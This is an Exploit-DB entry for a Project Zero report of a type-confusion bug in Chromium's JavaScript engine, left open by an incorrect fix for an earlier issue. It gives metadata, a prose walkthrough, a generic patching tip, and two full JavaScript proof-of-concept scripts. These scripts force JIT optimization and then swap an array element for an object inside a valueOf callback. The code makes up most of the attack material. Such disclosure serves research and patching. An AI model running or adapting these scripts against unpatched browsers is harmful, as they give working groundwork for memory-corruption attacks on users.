Incorrect Fix for #1045

vendor:

Chromium

by:

Project Zero

7,5

CVSS

HIGH

Type Confusion

843

CWE

Product Name: Chromium

Affected Version From: Unknown

Affected Version To: Unknown

Patch Exists: YES

Related CWE: None

CPE: N/A

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: Unknown

2018

The vulnerability is a type confusion bug in the JavaScript engine. The PoC code creates an array 'a' with two elements and an array 'b' with 0 elements. The function 'func' takes the two arrays as parameters and assigns the first element of 'a' to 1.2, the first element of 'b' to the value of 'c', the second element of 'a' to 2.2 and the first element of 'a' to 2.3023e-320. The 'main' function then creates an array 'a' with two elements and an array 'b' with 0 elements. It then forces the engine to optimize the code by looping through 0x10000 iterations of the 'func' function. Finally, it calls the 'func' function with an object as the third parameter, which sets the first element of 'a' to an empty object. When the 'toString' method of the empty object is called, a type confusion occurs.

Mitigation:

The vulnerability can be mitigated by ensuring that the JavaScript engine is up to date and that all security patches are applied.

Source

Exploit-DB raw data:

<!--
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1290

I think the fix for #1045 is incorrect.

Here's the original PoC.

'use strict';

function func(a, b, c) {
    a[0] = 1.2;
    b[0] = c;
    a[1] = 2.2;
    a[0] = 2.3023e-320;
}

function main() {
    var a = [1.1, 2.2];
    var b = new Uint32Array(100);

    // force to optimize
    for (var i = 0; i < 0x10000; i++)
        func(a, b, i);

    func(a, b, {valueOf: () => {
        a[0] = {};

        return 0;
    }});

    a[0].toString();
}

main();


I just changed "var b = new Uint32Array(100);" to "var b = new Uint32Array(0);", and it worked well.

PoC:
-->

'use strict';

function func(a, b, c) {
    a[0] = 1.2;
    b[0] = c;
    a[1] = 2.2;
    a[0] = 2.3023e-320;
}

function main() {
    var a = [1.1, 2.2];
    var b = new Uint32Array(0);  // <<--------- 100 -> 0

    // force to optimize
    for (var i = 0; i < 0x10000; i++)
        func(a, b, i);

    func(a, b, {valueOf: () => {
        a[0] = {};

        return 0;
    }});

    a[0].toString();
}

main();